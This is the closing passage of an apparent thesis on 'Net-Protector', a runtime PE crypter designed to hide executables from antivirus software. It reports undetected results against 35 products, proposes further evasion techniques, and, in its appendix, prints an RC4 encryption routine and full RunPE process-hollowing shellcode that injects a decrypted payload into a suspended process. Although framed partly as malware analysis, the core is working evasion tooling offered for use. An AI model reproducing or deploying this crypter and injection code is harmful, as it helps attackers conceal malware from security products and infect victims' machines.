http://scan4you.net.

7.10 Comparison of Net-Protector and existing Encrypters.


We conducted some study to evaluate the performance of Net Protector with
respect to two well-known products in the market against 35 anti-viruses(Table-
7.2). The table 7.1 below is showing the comparison. We tested both Scan time &
Run time to check the capability of bypassing the detection.

Name IAT Samping Scan Fail Run time Fail


redir count(see time ratio(Scan detectio ratio(Scan
ect Table:7.2) detectio ) n )
n

Octopus No 35 7 20% 7 20%


Protector [28]

Darkeye No 35 10 28.5% 10 28.5%


Protector [27]

Net Protector Yes 35 0 0% 0 0%

Table 7.2 Comparison of existing Encrypters

As we can see even though existing cryptors are quite good enough to bypass
most of the anti-viruses but not all of them and thereby are not reliable. Net
Protector succeeded in those tests in full extent.

Compared to some existing downloadable encryptors, the net-protector is far


more developed as it uses advanced techniques, such as

| 7. Net-Protector 67
Net-Protector, which uses Metamorphic code techniques to complicate detection
further, Injection code, which is a pure shellcode that can be encrypted and
obfuscated in every new single build.

Net-Protector supports static and dynamic techniques for bypassing antivirus


software. Static means that you simply bypass detection based on the antivirus’s
signature-scanning algorithms, while dynamics means that you want to bypass
detection of the sample’s behavior when it is executed.

Net-Protector contains no import address table with malicious API call, which
makes it very difficult to analyze and detect. Many antivirus products use
userland hooks to monitor the execution of running processes. Hooking consists
of detouring a number of common APIs, such as CreateFile or CreateProcess in
Windows. So, instead of executing the actual code, a monitoring code installed by
the antivirus is executed first.

| 7. Net-Protector 68
8 Future work & Conclusion

8.1 Future work


Antivirus vendors constantly device new methods for flagging and deleting the
malicious code. In our proposed crypter application, even if the input executable
is being encrypted, the part of stub code responsible for decryption is static. It is
easy for the anti-viruses to create signatures for it and flag it as malicious . The
introduction of polymorphism and anti-emulation techniques could be used to
improve the implementation in future.

In addition, the decrypted file is saved in one page inside memory which is easy to
recognize as a suspicious entity. Splitting the decrypted file in different chunk and
saving in different page will make it very difficult for anti-viruses to detect the
decrypted file in memory .

Moreover current injection method can only inject in 32bit processes which are
being replaced by 64 bit architecture rapidly. In near future it's worth to consider
injecting in 64 bit processes as well.

Finally, current injection method initiate a legitimate process and map decrypted
file in that process which actually reside entirely in memory. If antivirus checks
entry-point of that legitimate process in disk(where it supposed to be) as compare
to entry point in memory then there might be a chance to be detected as
malicious. At this point, no suitable replacement has been found till now and
measures should be taken to address this issue through further close observation
and research on injection methods.

|8 Future work & Conclusion 69


8.2 Conclusion
The commercialization of malware construction kits and tools for undetection and
protection makes the creation of sophisticated armored malware possible for
everyone. Because these techniques continuously evolve, it is impossible for
antivirus companies provide complete protection for their customers. It is all the
more important that malware analysts and antivirus companies keep up with the
new threats. This thesis put some light on understanding the functionality of
Malware & it's working mechanism. We need to be constantly updated of the
threats and goals of malware in order to better combat its activity. With a better
understanding of what malware does and how it can behave will surely increase
our ability to protect valuable network from infection growth.

Regarding the security vulnerability of complex server systems, this research


suggests & describes the basic concepts of Net-Protector, a runtime PE crypter.
The complete source code of Net-Protector will be published on the server4sale
blog. In a nutshell, Net-Protector gets a PE binary as input, copies the complete
input file into memory, calculates a checksum and prepends the checksum to the
input file. Afterwards, a random key is generated which is used to encrypt the
checksum and the input file with the Rc4 encryption algorithm. Finally, the
encrypted result is copied into the containers data section.

Despite the fact that there are some tools available in market which are not
working perfect and have some limitations. Proposed Net-Protector solution tries
to address these limitations & overcomes majority of those limitations.

Finally, Malware analysis is like a cat and mouse game. As new malware analysis
techniques are developed, malware authors respond with new techniques to
exploit that. To succeed as a malware analyst, one must be able to recognize,
understand and defeat these techniques and respond to changes in the art of
malware analysis.

|8 Future work & Conclusion 70


Bibliography

[1] Spam Law, The Danger of Malware;


http://www.spamlaws.com/malware-virus-protection.html
(last accessed on Nov 2016).

[2] Ed Skoudis and Lenny Zeltser.


Malware: Fighting Malicious Code.
Prentice Hall, 2003

[3] Robert Jaques, ITNews New Spam Site Found Every Three Seconds,
April 2008,
http://www.itnews.com.au/News/74071,new-spam-site-found-every-
three-seconds.aspx.
(last accessed on Nov 2016).

[4] Brian Krebs, Washigton post: Hundreds of thousands of microsoft web


servers hacked, April 2008,
http://blog.washingtonpost.com/securityfix/2008/04/hundreds_of_thousa
nds_of_micro_1.html.
(last accessed on Nov 2016).

[5] Heimdalsecurity, Top 10 Most Dangerous Financial Malware,


https://heimdalsecurity.com/blog/top-financial-malware/
(last accessed on Nov 2016).

[6] Tool: Fake Net; Practical Malware Analysis:


https://practicalmalwareanalysis.com/fakenet/
(last accessed on July 2016).

[7] Moti Young and Adam Young, Crypto virology Labs;


http://www.cryptovirology.com/
(last accessed on July 2016).

| Bibliography 71
[8] Practical Malware Analysis, No Starch Press, Inc., 2012.
Michael Sikorski and Andrew Honig

[9] Virus Total


https://virustotal.com/en/about/
(last accessed on July 2016).

[10] Tool: WinAPIOverride; Dev-tools


http://jacquelin.potier.free.fr/winapioverride32/
(last accessed on July 2016).

[11] Ilfak Guilfanov and Hex-Rays, IDA Pro, April 2008;


http://www.hex-rays.com/idapro/.
(Last access on Nov 2016)

[12] Oleh Yuschuk, OllyDbg, April 2008,


http://www.ollydbg.de/.
(Last access on Nov 2016)

[13] VMware Server, 2008,


http://www.vmware.com/products/server/
(Last access on Nov 2016).

[14] Inc. Sun Microsystems, VirtualBox, 2008,


http://www.virtualbox.org/
(Last access on Nov 2016)

[15] Process Monitor, 2008


http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx.
(Last access on Nov 2016)

[16] Lawrence Berkley Laboratory, tcpdump, April 2008,


http://www.tcpdump.org/.
(Last access on Nov 2016)

[17] Gerald Combs, Wireshark, April 2008,


http://www.wireshark.org/.

| Bibliography 72
(Last access on Nov 2016)

[18] Jibz, Qwerton, snaker, and xineohP, PEiD, May 2006,


http://www.peid.info/.
(Last access on Nov 2016)

[19] RDGMax, RDG Packer Detector v0.6.5 Beta, 2008,


http://www.rdgsoft.8k.com/.
(Last access on Nov 2016)

[20] Tool: CF Explorer, NTCore


http://www.ntcore.com/exsuite.php
(last accessed on July 2016).

[21] Tool: Resource hacker; Angus Johnson


http://www.angusj.com/resourcehacker/
(last accessed on July 2016).

[22] Windows Forensic Analysis


2014, Harlan Caruey

[23] Zeljko Juric, The GNU C Preprocessor,


http://tigcc.ticalc.org/doc/cpp.html
(last accessed on Nov 2016).

[24] Techopedia, Assembler


https://www.techopedia.com/definition/3971/assembler
(last accessed on Nov 2016)

[25] Randal E. Bryant and David R. O'Hallaron. Computer Systems,


A Programmer's Perspective. Prentice Hall,
2 edition, 2011.

[26] Microsoft Corporation. Microsoft PE and COFF specification,


February 2013. revision 8.3

[27] DarkEye-Protector, Securitycode

| Bibliography 73
http://www.securitycode.eu/
(Last seen Dec/2016)

[28] Octpus crypter, breaking-security


https://breaking-security.net/octopus/
(Last seen Dec/2016)

[29] ReversingLabs Corporation. Undocumented PECOFF.


In BlackHat USA 2011, Las Vegas.

[30] Katja Hahn, Robust Static Analysis of Portable ExecutableMalware


https://www.scribd.com/document/267709777/Master-Thesis
(Last access date : nov 2016)

[31] Ange Albertini. PE; The Portable Executable Format on Windows.


https://code.google.com/p/corkami/wiki/PE
(last access on Nov. 2016), Nov. 2016.

[32] The.Shellcoders.Handbook.2nd.Edition.Aug.2007
Chris Anley, John Heasman

[33] DeadlyVermilion, Shellcode RunPE


https://underc0de.org/foro/delphi/(snippet)-shellcode-runpe-(fully-
dynamic)/
(last seen Nov. 2016)

[34] John Aycock. Computer Viruses and Malware.


Springer, 2006.

[35] Sophos,Antivirus
https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-
mac-home-edition.aspx
(last seen dec/2016)

[36] Eset Nod32 Antivirus


https://www.eset.com/int/home/antivirus/
(last seen dec/2016)

| Bibliography 74
[37] MCAFEE Antivirus
http://www.mcafee.com/us/index.html
(last seen dec/2016)

[38] Computer Viruses and Malware. Springer, 2006.


John Aycock.

[39] Kaspersky Antivirus


https://www.kaspersky.com/
(last seen dec/2016)

[40] Rc4, Crypto Academy


http://paginas.fe.up.pt/~ei10109/ca/rc4.html
(last seen dec/2016)

[41] Netwire Remote Administrator tool


https://www.worldwiredlabs.com/
(last seen dec/2016)

[42] Xeno Kovah; The Life of Binary


http://opensecuritytraining.info/LifeOfBinaries.html
(last accessed on Aug 2016).

[43] Introduction to Windows Shellcode


https://securitycafe.ro/2015/10/30/introduction-to-windows-shellcode-
development-part1/
(Last access on Nov 2016)

[44] 2016 Internet Security Threat Report


https://www.symantec.com/security-center/threat-report
(Last access on Nov 2016)

[45] Robert Jaques, ITNews New Spam Site Found Every Three Seconds,
April 2008, http://www.itnews.com.au/News/74071/new-spam-site-found-
every-three-seconds.aspx.

| Bibliography 75
(Last access on Nov 2016)

[46] The Crypter BluePrint


http://www.crypters.net/TheCrypterBluePrintFREE.pdf
(Last access on Nov 2016)

[47] Emeric Nasi,Bypass Antivirus Dynamic Analysis, year 2014


http://packetstorm.foofus.com/papers/virus/BypassAVDynamics.pdf
last access (nov 2016)

[48] Bypass Antivirus Dynamic Analysis, Emeric Nasi , 2014


http://packetstorm.foofus.com/papers/virus/BypassAVDynamics.pdf
(Last Access Nov 2016)

[49] Anti-debugging Techniques Cheat Sheet,Alexander


http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet/
(Last Access Nov 2016)

[50] Many Road To IAT,Corelan Team


https://www.corelan.be/index.php/2011/12/01/roads-iat/
(Last Access Nov 2016)

[51] RADASM Code Editor


https://fbedit.svn.sourceforge.net/svnroot/fbedit/RadASM30
(Last Access Nov 2016)

[52] HxD, Hex Editor


https://mh-nexus.de/en/hxd/
(Last Access Nov 2016)

[53] Understanding Windows Shellcode


http://www.hick.org/code/skape/papers/win32-shellcode.pdf
(Last Access Nov 2016)

| Bibliography 76
Appendix
Table 7.2 List of Antivirus used to scan Net-Protector

AVG Free
Avast
AntiVir (Avira)
BitDefender
Clam Antivirus
COMODO Internet Security
Dr.Web
eTrust-Vet
F-PROT Antivirus
F-Secure Internet Security
G Data
IKARUS Security
Kaspersky Antivirus
McAfee
MS Security Essentials
ESET NOD32
Norman
Norton Antivirus
Panda Security
A-Squared
Quick Heal Antivirus
Solo Antivirus
Sophos
Trend Micro Internet Security
VBA32 Antivirus
Zoner AntiVirus
Ad-Aware
BullGuard
FortiClient
K7 Ultimate
NANO Antivirus
Panda CommandLine
SUPERAntiSpyware
Twister Antivirus

| Appendix 77
Appendix A
List of Figures
Figure 2.1 Different types of Malware
16
Figure 4.1 Compile and link executable code
28
Figure 4.2 Basic structure of PE file
31
Figure 4.2.1 Using Cff Explorer to validate PE file data structure
33
Figure 4.2.2 Signature of PE file header
34
Figure 4.2.3 File Header of PE file header
35
Figure 4.2.4 Optional Header of PE file header
36
Figure 4.2.5 The Section Table
37
Figure 4.5 PE parser
41
Figure 5.1 Code level Example
42
Figure 5.2 Basic memory layout for program [source: [8, Chapter 6]]
44
Figure 7.1 How Packer works
53
Figure 7.2 Net-Protector Workflow
55
Figure 7.3 Typical Import Address Table
63
Figure 7.4 Redirected Import Address Table
63
Figure 7.5 Net Protector Builder
64
Figure 7.6 Randomize Encryption Key
65
Figure 7.7 Adding Encryption key in resource section of stub
65
Figure 7.8 Adding Encrypted File in Resource section of Stub.
65

| Appendix 78
Appendix B

Windows Functions

List of Windows Functions encountered by


Malware analysts.

| Appendix 79
This Appendix lists windows functions encountered by malware analysts.Most of
these functions are

accept

Used to listen for incoming connections

bind

Used to to listen for incoming connections.

connect

Used to connect to a remote socket..

CreateFile

Creates a new or an existing file

CreateRemoteThread

Used to inject code into a different process.

CreateProcess

Creates and launches a new process

EnumProcesses

Used to find a process to inject into.

FindResource

Used to find a resource in an executable

gethostname

Retrieves the hostname of the computer.

| Appendix 80
GetTempPath

Returns the temporary file path.

ResumeThread

Resumes a suspended thread.

ShellExecute

Used to execute another program

SuspendThread

Suspends a thread to modify it by performing code injection.

VirtualAllocEx

Malware uses VirtualAllocEx as for process injection.

VirtualProtectEx

Changes the protection on a region of memory.

WinExec

Used to execute another program

| Appendix 81
Appendix C

Tools

Tools For Malware Analysis

| Appendix 82
This Appendix lists popular malware analysis tools.

ApateDNS http://www.mandiant.com/
Autoruns http://www.sysinternals.com/
BinDiff http://www.zynamics.com/
BinNavi http://www.zynamics.com/
Bochs http://www.hex-rays.com
Burp Suite http://www.portswigger.net/burp
Capture BAT http://www.honeynet.org
CFF Explorer http://www.ntcore.com/
Deep Freeze http://www.faronics.com/
Dependency Walker http://www.dependencywalker.com/
Hex Editor http://www.hex-rays.com/
Hex-Rays Decompiler http://www.hex-rays.com/
IDA PRO http://www.hex-rays.com/
Immunity Debugger http://www.immunityinc.com/
Import REConstructor http://www.tuts4you.com/
INetSim http://www.inetsim.com/
LordPE http://www.woodmann.com/
Malcode Analyst Pack http://labs.idefense.com/
Memoryze http://www.mandiant.com/
Netcat http://www.joncraton.org/
OfficeMalScanner http://www.recibstructer.org/
OllyDbg http://www.ollydbg.de/
OSR Driver Loader http://www.osronline.com/
PDF Dissector http://www.zynamics.com/
PDF Tools http://diderstevens.com
PE Explorer http://www.heaventools.com/
PEID http://www.peid.info/
PEview http://www.wjradburn.com/
Process Explorer http://www.sysinternals.com/
Process Hacker http://www.processhacker.sourceforge.net/
Process Monitor http://www.sysinternals.com/
Python http://www.python.org/
Regshot http://www.sourceforge.net/project/regshot
Resource Hacker http://www.angusj.com/

| Appendix 83
Sandboxes http://www.sandboxie.com/
Snort http://www.snort.org/
Strings http://www.sysinternals.com/
TCPview http://www.sysinternals.com/
The sleuth Kit http://www.sleuthkit.org/
Tor http://www.torproject.org/
Truman http://www.secureworks.com/
WinDbg http://www.msdn.microsoft.com/
Wireshark http://www.wireshark.com/
UPX http://www.upx.sourceforge.net/
VERA http://www.offensivecomputing.net/
Virtualtotal http://www.virustotal.com/
VMware Workstation http://www.vmware.com/

Volatility Framework http://code.google.com/p/volatility/


Yara http://code.google.com/p/yara-project/
Zero Wine http://zerowine.sourceforge.net/

| Appendix 84
Appendix D

Source Code
Encryption Algorithm
&
Code Injection

| Appendix 85
RC4 Encryption Algorithm

Public Function EncryptRc4(sData As String, sPassword As String) As String

Dim bDataArray() As Byte

If Len(sData) = 0 Or Len(sPassword) = 0 Then Exit Function


bDataArray = StrConv(sData, vbFromUnicode)
Call ArcFourOneByte(bDataArray, sPassword)
EncryptRc4 = StrConv(bDataArray, vbUnicode)

End Function

Private Sub ArcFourOneByte(ByteArr() As Byte, Password As String)


Dim sBox(0 To 255) As Byte, kBox(0 To 255) As Byte
Dim X As Long
Dim i As Integer, j As Integer, k As Integer
k = Len(Password)
j=0
i=0
For X = 0 To 255
j=j+1
If j > k Then j = 1: i = i + 1
kBox(X) = (Asc(Mid$(Password, j, 1)) + i) Mod 256
sBox(X) = Asc(CStr(X)) Xor Asc(CStr(Len(Password)))
Next X
j=0
For X = 0 To 255
j = (j + sBox(X) + kBox(X)) Mod 256
k = sBox(X): sBox(X) = sBox(j): sBox(j) = k
Next X
i=0
j=0
For X = 0 To UBound(ByteArr)
i = (i + 1) Mod 256
j = (j + sBox(i)) Mod 256
k = sBox(i): sBox(i) = sBox(j): sBox(j) = k
k = (k + sBox(i)) Mod 256
ByteArr(X) = ByteArr(X) Xor sBox(k)
Next X
End Sub

| Appendix 86
Runpe Shellcode Code

.386;
.MODEL FLAT, C

.DATA
xData db "encrypted byte"

.CODE
ASSUME FS:NOTHING

;chrome
;kkk WORD "C",":","\","P","r","o","g","r","a","m"," ","F","i","l","e","s","
","(","x","8","6",")","\","G","o","o","g","l","e"
word
"\","C","h","r","o","m","e","\","A","p","p","l","i","c","a","t","i","o","n","\","c","h","r","o","m","e",".","e","x","e",0

;kkk WORD
"C",":","\","W","i","n","d","o","w","s","\","S","y","s","W","O","W","6","4","\","c","m","d",".","e","x","e",0
kkk WORD
"C",":","\","t","e","s","t","\","h","i","\","u","u","u","u","u","u","u","u","u","u","u","u","u","u","u","u","u","u","u","u",".
","e","x","e",0

;kkk WORD
"C",":","\","U","s","e","r","s","\","j","o","h","n","\","A","p","p","D","a","t","a","\","R","o","a","m","i","n","g","\","u",".
","e","x","e",0
start:

;LEA EBX, sShellcode ; this shit is shellcode runpe..


MOV EAX, offset xData ; this shit is vb6.exe
call sShellcode ; call runpe..
xor eax, eax
ret

sShellcode PROC
push ebp
mov ebp,esp
add esp,0FFFFFAA4h ; -1372(create 1372bytes space on stack.)
mov dword ptr [ebp-4],eax ;save data to ebp-4
call getK32FromPEB
mov dword ptr [ebp-234h],eax ;save K32base to ebp-234

;mov ebx,0C6560FF2h ;move Hash(GetModuleFileNameW) to ebx


mov ebx,04634E77Ch ;GetEnvironmentVariableW
mov edx,dword ptr [ebp-234h] ;move K32base to edx
call getFuncAddr
mov dword ptr [ebp-8],eax ;save GetEnvironmentVariableW
nop
nop

| Appendix 87
mov ebx,2D808BA9h ;GetCommandLineW
mov edx,dword ptr [ebp-234h]
call getFuncAddr
mov dword ptr [ebp-0Ch],eax

mov ebx,0DBAE3B85h ;CreateProcessW


mov edx,dword ptr [ebp-234h]
call getFuncAddr
mov dword ptr [ebp-10h],eax

mov ebx,85DF3593h ;GetThreadContext


mov edx,dword ptr [ebp-234h]
call getFuncAddr
mov dword ptr [ebp-14h],eax

mov ebx,5DB6CB8Dh ;VirtualAllocEx


mov edx,dword ptr [ebp-234h]
call getFuncAddr
mov dword ptr [ebp-18h],eax

mov ebx,78C11353h ;WriteProcessMemory


mov edx,dword ptr [ebp-234h]
call getFuncAddr
mov dword ptr [ebp-1Ch],eax

mov ebx,0A5DFDB8Ah ;SetThreadContext


mov edx,dword ptr [ebp-234h]
call getFuncAddr
mov dword ptr [ebp-20h],eax

mov ebx,0C850052Eh ;ResumeThread


mov edx,dword ptr [ebp-234h]
call getFuncAddr
mov dword ptr [ebp-24h],eax

mov ebx,0A216A185h ;LoadLibraryA


mov edx,dword ptr [ebp-234h]
call getFuncAddr ;sShellcode+253h (0411463h)

call GrabNt
Nt BYTE "n","t","d","l","l",0
GrabNt:
pop edi
push edi
call eax ;call LoadLibraryA
mov dword ptr [ebp-230h],eax; save ntHandle to ebp-230h

mov ebx, 41CDE38Bh ;NtUnmapViewOfSection


mov edx,eax
call getFuncAddr
mov dword ptr [ebp-28h],eax

mov ebx,2C0D2339h ;RtlZeroMemory


mov edx,dword ptr [ebp-230h]

| Appendix 88
call getFuncAddr
mov dword ptr [ebp-2Ch],eax

;call GetModuleFileNameW
;push 200h
;lea eax,[ebp-22Ch] ;space to save ModuleFileName
;push eax
;push 0
;call dword ptr [ebp-8]

; clean statupinfo space with RtlZeroMemory


push 44h
lea eax,[ebp-278h] ;statupinfo space
push eax
call dword ptr [ebp-2Ch]

;call GetEnvironmentVariableW
call getCmd
cmd WORD "C","O","M","S","P","E","C",0
getCmd:
pop edi
push 200h
lea eax,[ebp-22Ch] ;space to save ModuleFileName
push eax
push edi
call dword ptr [ebp-8]

;change cmd to svchost


; call getSvc
; svc WORD "s","v","c","h","o","s","t",".","e","x","e",0
; getSvc:
; pop esi
; mov ecx, 018h
; lea edi, [ebp-22Ch]
;
; trace:
; add edi, 02h
; mov ax, word ptr [edi]
; cmp ax,0
; jne trace
;
; sub edi, 0Eh
; Write:
;MOV AL, BYTE PTR[ESI]
;MOV BYTE PTR[EDI], AL
;INC ESI
;INC EDI
;LOOPNZ Write

nop
nop
nop
nop
nop
nop

| Appendix 89
nop
nop
nop
nop
nop
nop
nop
nop
nop

;call CreateProcessW
lea eax,[ebp-288h] ;process info space
push eax
lea eax,[ebp-278h] ;statupinfo space
push eax
push 0
push 0
push 4 ;creationFlags
push 0
push 0
push 0
push 0 ;lpCommandLine
lea eax, offset kkk;[ebp-22Ch];offset kkk ; [ebp-22Ch] ;application name
push eax
call dword ptr [ebp-10h]

;call RtlZeroMemory on space for thread contex


push 2CCh
lea eax,[ebp-55Ch];space for thread contex
push eax
call dword ptr [ebp-2Ch]

;call GetThreadContext
mov dword ptr [ebp-55Ch],10007h ;contex = full
lea eax,[ebp-55Ch]
push eax
push dword ptr [ebp-284h]
call dword ptr [ebp-14h] ;call getthreadcontex

;get ReadProcessMemory
mov ebx,098F1F233h ;ReadProcessMemory
mov edx,dword ptr [ebp-234h] ;move K32base to edx
call getFuncAddr
mov dword ptr [ebp-8],eax ;save ReadProcessMemory

;get destination Imagebase


push 0
push 4 ;4bytes to read
lea eax,[ebp-22Ch] ;space to save destination Imagebase here
push eax
mov eax,[ebp-4B8h]; CTX->Ebx
add eax, 08h; (A4 + 8) CTX->Ebx + 8
push eax
push dword ptr [ebp-288h]
call dword ptr [ebp-8] ;call ReadProcessMemory

| Appendix 90
;call NtUnmapViewOfSection
push [ebp-22Ch]; destination Imagebase
push dword ptr [ebp-288h]
call dword ptr [ebp-28h]

;get ImageSize and call VirtualAllocEx


mov edi,dword ptr [ebp-4] ;move xdata to edi
add edi,dword ptr [edi+3Ch];point to e_lfanew of xdata
push 40h ;protection
push 3000h ;allocType
push dword ptr [edi+50h] ;ImageSize
push [ebp-22Ch]; destination Imagebase(lpaddress)
push dword ptr [ebp-288h] ;hProcess
call dword ptr [ebp-18h] ;VirtualAllocEx

;Map PE to destination image


mov dword ptr [ebp-28Ch],eax ; destination Imagebase(lpaddress)
mov dword ptr [edi+34h],eax;set new image base..
push 0 ;optional *written bytes
push dword ptr [edi+54h] ;size to write(size of header)
push dword ptr [ebp-4] ;buffer to write
push dword ptr [ebp-28Ch];lpaddress destination Imagebase
push dword ptr [ebp-288h];handle
call dword ptr [ebp-1Ch] ; call WriteProcessMemory
;
lea eax,[edi+18h]; base of Nt.OptionalHeader
mov dword ptr [ebp-290h],eax
movzx eax,word ptr [edi+14h] ; size of optional header
add dword ptr [ebp-290h],eax
xor eax,eax
xor esi,esi
xor ecx,ecx
jmp NextSection

ParseSection:
imul eax,esi,28h
add eax,dword ptr [ebp-290h]
mov ebx,dword ptr [ebp-28Ch]
add ebx,dword ptr [eax+0Ch]
mov edx,dword ptr [ebp-4]
add edx,dword ptr [eax+14h]
push 0
push dword ptr [eax+10h]
push edx
push ebx
push dword ptr [ebp-288h]
call dword ptr [ebp-1Ch]
inc esi

NextSection:
cmp si,word ptr [edi+6]
jb ParseSection

| Appendix 91
mov eax,dword ptr [ebp-28Ch] ;here we need to try ans set the ctx->eax to be new entrypoint.. i
see the error here bro..

add eax,dword ptr [edi+28h]


lea ecx,[ebp-55Ch] ;mov dword ptr [ebp-4ACh],eax
mov dword ptr [ecx+0B0h], eax
lea eax,[ebp-55Ch]
push eax
push dword ptr [ebp-284h] ;thread Handle
call dword ptr [ebp-20h] ; call SetThreadContext
;_wait:
;cmp eax, 0
;jne _wait
push dword ptr [ebp-284h]
call dword ptr [ebp-24h] ; call ResumeThread
leave
ret

getK32FromPEB:
mov eax,dword ptr fs:[00000030h];Offset 30h of TEB where PEB Pointer is stored.
mov eax,dword ptr [eax+0Ch] ; Offset 0Ch of PEB PPEB_LDR_DATA LoaderData
mov eax,dword ptr [eax+0Ch] ; InLoadOrderModuleList;
mov eax,dword ptr [eax] ; Flink-> from exe to nt
mov eax,dword ptr [eax] ; Flink-> from nt to k32
mov eax,dword ptr [eax+18h] ; select base LDR_MODULE->BaseAddress
ret

getFuncAddr:
push ebp
mov ebp,esp
add esp,0FFFFFFF4h ; align stack to 4bytes
push edx ; push module base
mov dword ptr [ebp-4],edx ;keap moduleBase at ebp-4
mov ecx,dword ptr [edx+3Ch];mov e_lfanew to ecx
add ecx,edx ;add e_lfanew to base and get ntHeader
mov dword ptr [ebp-0Ch],ecx ;keap ntHeader at ebp-0Ch
mov ecx,dword ptr [ecx+78h] ;mov export RVA in data directory to ecx
add ecx,edx ;add export rva to moduleBase
mov dword ptr [ebp-8],ecx ;keap ptr to export table at ebp-8
mov edx,dword ptr [ecx+18h];mov number of functions to edx
mov ecx,dword ptr [ecx+20h];mov pRVAlist of functions to ecx
add ecx,dword ptr [ebp-4] ;add functions pRVAlist to moduleBase
searchFunc:
xor edi,edi ;clean edi
mov esi,dword ptr [ecx] ;mov functions pRVAlist to esi
add esi,dword ptr [ebp-4] ;add base to functions rva to get functions name..

xor eax,eax ;clean eax


push ecx ;push pRVAlist
hashFuncName:
lods byte ptr [esi]; lod a byte pointed to by esi to al and increase esi by 1
mov ecx,eax ;move eax(that byte) to ecx
add edi,eax ;add eax(that byte) to edi
rol edi,cl ; rol edi with cl
test eax,eax ; check if eax is 0

| Appendix 92
jne hashFuncName ; if eax is not zero
pop ecx ;pop ecx (pRVAlist)
cmp edi, ebx; compare edi with function hash
je FuncFound
add ecx, 4 ;go to next in (pRVAlist)
dec edx ;decrease function count.
jne searchFunc
mov edx, 1B6258C2h
pop edx
xor eax,eax
leave
ret

FuncFound:
mov eax,dword ptr [ebp-4]
mov ecx,dword ptr [ebp-8]
mov ebx,dword ptr [ecx+18h]
mov ecx,dword ptr [ecx+24h]
add ecx,eax
sub ebx,edx
shl ebx,1
add ecx,ebx
movzx ebx,word ptr [ecx]
mov ecx,dword ptr [ebp-8]
mov ecx,dword ptr [ecx+1Ch]
add ecx,eax
shl ebx,2
add ecx,ebx
add eax,dword ptr [ecx]
pop edx
leave
ret
sShellcode ENDP

Bro PROC
MOV EAX, offset xData ; this shit is vb6.exe
lea ebx,
call sShellcode; call EBX ; call runpe..
xor eax, eax
ret
NOP
Bro ENDP

end start

| Appendix 93
Statement of Authorship
I hereby declare that this thesis has been written only by the undersigned and
without any assistance from third parties.

Futhermore, I confirm that no sources have been used in the preparation of this
thesis other than those indicated in the thesis itself.

Heilbronn________________ Date___________________

| Appendix 94

You might also like